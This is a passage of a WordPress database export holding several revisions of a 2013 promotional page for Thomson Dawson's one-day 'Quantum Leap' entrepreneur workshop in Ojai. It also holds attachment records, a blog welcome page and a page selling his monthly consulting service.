the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<img class="alignnone size-full wp-image-2289" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-5.jpg" alt="" width="559" height="346" />\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<img class="alignnone size-full wp-image-2290" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-sd-3.jpg" alt="" width="495" height="325" />\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-25', '', '', '2013-05-24 09:20:06', '2013-05-24 16:20:06', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-25/', 0, 'revision', '', 0),
(2293, 2, '2013-05-24 09:20:45', '2013-05-24 16:20:45', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<img class="alignnone size-full wp-image-2288" title="Thomson Dawson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.-thomson-sd-8.jpg" alt="" width="495" height="188" />\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future and the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identify the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<img class="alignnone size-full wp-image-2289" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-5.jpg" alt="" width="559" height="346" />\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<img class="alignnone size-full wp-image-2290" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-sd-3.jpg" alt="" width="495" height="325" />\r\n<h2><strong>Early Registration</strong></h2>\r\n<h2><strong>Send me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-26', '', '', '2013-05-24 09:20:45', '2013-05-24 16:20:45', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-26/', 0, 'revision', '', 0),
(2298, 2, '2013-05-24 11:10:30', '2013-05-24 18:10:30', '', 'Thomson Dawson Business Transformation Consultant', 0, '', 'inherit', 'open', 'open', '', 'whc-thomson-5-3', '', '', '2013-05-24 11:10:30', '2013-05-24 18:10:30', '', 172, 'http://www.whitehotcenter.com/wp-content/uploads/2009/05/whc.thomson-5.jpg', 0, 'attachment', 'image/jpeg', 0),
(2295, 2, '2013-05-24 09:32:04', '2013-05-24 16:32:04', '', 'Thomson Dawson Quantum Leap', 0, '', 'inherit', 'open', 'open', '', 'whc-thomson-5-2', '', '', '2013-05-24 09:32:04', '2013-05-24 16:32:04', '', 2261, 'http://www.whitehotcenter.com/wp-content/uploads/2013/05/whc.thomson-51.jpg', 0, 'attachment', 'image/jpeg', 0),
(2296, 2, '2013-05-24 09:22:35', '2013-05-24 16:22:35', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<img class="alignnone size-full wp-image-2288" title="Thomson Dawson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.-thomson-sd-8.jpg" alt="" width="495" height="188" />\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future and the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identify the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<img class="alignnone size-full wp-image-2289" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-5.jpg" alt="" width="559" height="346" />\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<img class="alignnone size-full wp-image-2290" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-sd-3.jpg" alt="" width="495" height="325" />\r\n<h2><strong><span style="color: #000000;">Early Registration</span>\r\nSend me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-27', '', '', '2013-05-24 09:22:35', '2013-05-24 16:22:35', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-27/', 0, 'revision', '', 0),
(2297, 2, '2013-05-24 09:33:00', '2013-05-24 16:33:00', '<img class="alignnone size-full wp-image-2262" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">Quantum Leap Business Transformation Workshop for Early Stage Entrepreneurs and Solo Professionals, Novemeber 8th 2013.</span></h1>\r\n<h2>With so much continued economic uncertainty challenging even the most optimistic and success minded entrepreneurs, business development strategies and action are more critical than ever. If you’ve been thinking about how to take your business to the next level, consider taking a quantum leap.</h2>\r\nA quantum leap is a jump in progress that is exponential rather than incremental.  With all the economic uncertainty surrounding us in the digital age, many early stage entrepreneurs and solo professionals struggle to create a strong foundation on which to build their success. Many are stuck and can''t find the key that unlocks their ability to transform their current circumstances.\r\n\r\nWith that in mind, I am pleased to announce the White Hot Center will once again present its one-day, intensive strategic workshop on creating competitive advantage in your business. If you’re an early stage entrepreneur or solo professional building your business, you won’t want to miss participating in this business transformation opportunity.\r\n\r\n<strong>Breaking the plateau effect.</strong>\r\n\r\nIf you’re stuck, you’ve hit a plateau. The plateau effect is a common state of being in every human endeavor. If you’re growing, eventually you’ll hit a plateau where whatever action got you to the level you’re currently at, it won’t be enough to elevate you to the next level. Breaking the plateau effect is an ongoing stair step process of developing new thinking and actions that have nothing to do with the actions you believe were successful in getting you to this moment.  It is possible to skip ahead a few levels!\r\n\r\nThe purpose of our work together will be to equip you with new insights and the tools necessary to break the plateau effect you’re currently experiencing.\r\n\r\n<strong>Creating competitive advantage in your business.</strong>\r\n\r\nThis educational workshop will enable you to gain the knowledge to create real preference for your offerings. To accomplish this, your business must represent a highly valued idea that matters to high value clients and is not available through your competitors. And more importantly, this idea of value your business represents in the minds of your target customers is worthy of commanding premium pricing. It''s no fun clawing your way to the middle!\r\n\r\n<img class="alignnone size-full wp-image-2288" title="Thomson Dawson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.-thomson-sd-8.jpg" alt="" width="495" height="188" />\r\n\r\n<strong>What you’ll learn in the Quantum Leap Business Transformation Workshop.</strong>\r\n\r\nLike the name implies, this is a strategic workshop designed to give you the power to transform your business immediately and exponentially. There are elements of learning in this strategic workshop that I only offer to executives in global companies. I share critical "first principles" that many early stage entrepreneurs are simply not exposed to. Here’s what you will learn to create competitive advantage in your business:\r\n\r\n-       The principles and discipline of a success-based mindset. Your thinking habits must change to advance your business to the next level and beyond. (real Jedi level stuff)\r\n\r\n-       Build your vision for your bigger future. You must have clarity and confidence in your value creation vision for the future and the actions necessary to turn possibility into acheivement.\r\n\r\n-       Uncovering your value. Discover the real reasons customers/clients buy from you rather than your competitors and how to command premium pricing.\r\n\r\n-       Identify the components underlying your value proposition. Why do you and your business matter to people? HInt: It begins with your purpose beyond money-making.\r\n\r\n-       Creating a value proposition and a strategic positioning that informs and guides all your action and behavior to separate your business from the slush pile.\r\n\r\n-       Identify the qualities and attributes of higher value clients. Increase your value to the right people and make more money doing less. (Please read that sentence again)\r\n\r\n-       Discover your Genius. The holy grail of personal productivity and effectiveness.\r\n\r\n-      The right strategies and tactics to build your brand and elevate the quality of your presence in the marketplace.\r\n<h2>Check out the <a title="Competitive Advantage Video Thomson Dawson" href="http://www.youtube.com/watch?v=ZhBhjF7ocW0&amp;feature=youtu.be" target="_blank">video</a>. It will give you a good idea of the "first principles" we''ll be working on together!</h2>\r\n<strong>Who should attend the Quantum Leap Workshop.</strong>\r\n\r\nThis workshop has been designed specifically for early stage entrepreneurs and solo professionals who are languishing on a plateau. Typically participants generate gross incomes of up to $100,000 annually– but they want to double or triple their current income levels. Participants come from diverse business categories in consumer products, business-to-business products, and professional services like health care, education, management consulting, accounting, law, engineering, marketing and creative services.\r\n\r\n<img class="alignnone size-full wp-image-2295" title="Thomson Dawson Quantum Leap" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-51.jpg" alt="" width="495" height="306" />\r\n\r\n<strong>The Workshop Date</strong>\r\n\r\nThe workshop will be held November 8th, 2013.\r\n\r\n<strong>The Venue</strong>\r\n\r\nI will announce the venue in Ojai, California on or before August 31, 2013. (Still working out the details at this writing) The workshop will be held in a very special retreat setting and location. Our environment will be supportive of your creativity and innovation. This is extremely important to me to provide a venue that support us all! The workshop will include a fabulous luncheon with snacks and beverages provided throughout the day.\r\n\r\n<strong>Investment:</strong>\r\n\r\n$995.00 USD per person\r\n\r\nSpecial discount of $100 off for early registration prior to September 30, 2013\r\n\r\nAdditional discount of $50 off for each additional person attending from your firm prior to September 30, 2013.\r\n\r\nFull Tuition Fee must be paid 30 days in advance of the Workshop. A deposit of half the tuition is required to confirm your reservation. No refunds or credits within 14 days of the workshop. Tuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<img class="alignnone size-full wp-image-2290" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2013/05/whc.thomson-sd-3.jpg" alt="" width="495" height="325" />\r\n<h2><strong><span style="color: #000000;">Early Registration</span>\r\nSend me an <a title="QUantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to September 30, 2013. This workshop has limited capacity and will fill up quickly. This workshop is limited to 24 participants.</strong></h2>\r\n<h2><strong>Early Register is Open Now!</strong></h2>', 'Break the Plateau Effect and Transform Your Business for a Bigger Future.', 0, '', 'inherit', 'open', 'open', '', '2261-revision-28', '', '', '2013-05-24 09:33:00', '2013-05-24 16:33:00', '', 2261, 'http://www.whitehotcenter.com/2013/05/2261-revision-28/', 0, 'revision', '', 0),
(2299, 2, '2012-02-29 18:59:47', '2012-03-01 01:59:47', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong></h2>\r\n<h2>I am dedicated to support my fellow entreprenuers in<strong> diverse creative fields like </strong><strong></strong><strong>marketing, design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, communications, computer games, and music production. </strong></h2>\r\n<h2><strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued by your clients.</strong> If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\n&nbsp;\r\n\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing it into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income! There''s no fun in crawliing your way to the middle!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:59:47', '2012-03-01 01:59:47', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-148/', 0, 'revision', '', 0),
(2301, 2, '2013-05-24 11:18:32', '2013-05-24 18:18:32', '', 'Thomson Dawson, Business Transformation Consultant', 0, '', 'inherit', 'open', 'open', '', 'whc-thomson-5-4', '', '', '2013-05-24 11:18:32', '2013-05-24 18:18:32', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/whc.thomson-5.jpg', 0, 'attachment', 'image/jpeg', 0),
(2302, 2, '2013-05-24 11:19:27', '2013-05-24 18:19:27', '', 'Thomson dawson Quantum Leap Workshop', 0, '', 'inherit', 'open', 'open', '', 'whc-thomson-sd-8-2', '', '', '2013-05-24 11:19:27', '2013-05-24 18:19:27', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/whc.-thomson-sd-8.jpg', 0, 'attachment', 'image/jpeg', 0),
(2303, 2, '2013-05-20 12:19:46', '2013-05-20 19:19:46', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group workshop settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients are CEO''s and their teams in early stage and emerging companies across diverse product and service categories.</strong><strong> I offer issue-based consulting in professional development, marketing, communications and  business development strategies to guide you and your team to focus on new ideas and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, marketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of forward thinking, early-stage creative entrepreneurs  who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly with a 3-month minimum engagement\r\n</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-2248" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/wild-thomson.250.jpg" alt="Business Transformation Consultant" width="250" height="195" /></strong></span><strong>Thomson Dawson</strong><strong>\r\nBusiness Transformation Consultant\r\nto Early Stage Creative Entrepreneurs</strong>\r\n<h2><strong>Why work with me?</strong></h2>\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different. However, what distinguishes my work from other consultants is my sole focus on business transformation– guiding you to breakthroughs to your next level of success and providing the tools necessary for you to attract and retain higher value clients and customers!\r\n\r\nAs a creative entrepreneur and marketing professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for early stage entreprenuers. I know the challenges involved selling in your ideas and developing proposals that win business. I also know the pressure of meeting a payroll every week.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that help you get to where you want to go?\r\n\r\n<strong>Here’s my two-word answer: clarity and confidence.</strong>\r\n\r\nMy clients want clarity to lock onto a big vision for your future, and the confidence to pursue the right action with passion and discipline. I can help you get “there” by keeping you in the right frame of mind to creative and innovate the type of business that gives you far more energy than what it takes from you. I can help you build a foundation for your business success that provides you with joy, freedom, fulfillment, deep satisfaction, and financial success!\r\n<h2><a title="Getting my business to the next level!" href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #ff6600;">Send me an email! </span></a></h2>\r\n<strong>Briefly outline your current business circumstances, and what your expectations are for a positive outcome from working together. From there, we can arrange a telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.</strong>\r\n<p style="color: #ff6600;"><strong><span style="color: #ff6600;">I am looking forward to working with you.</span></strong></p>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-05-20 12:19:46', '2013-05-20 19:19:46', '', 138, 'http://www.whitehotcenter.com/2013/05/138-revision-186/', 0, 'revision', '', 0),
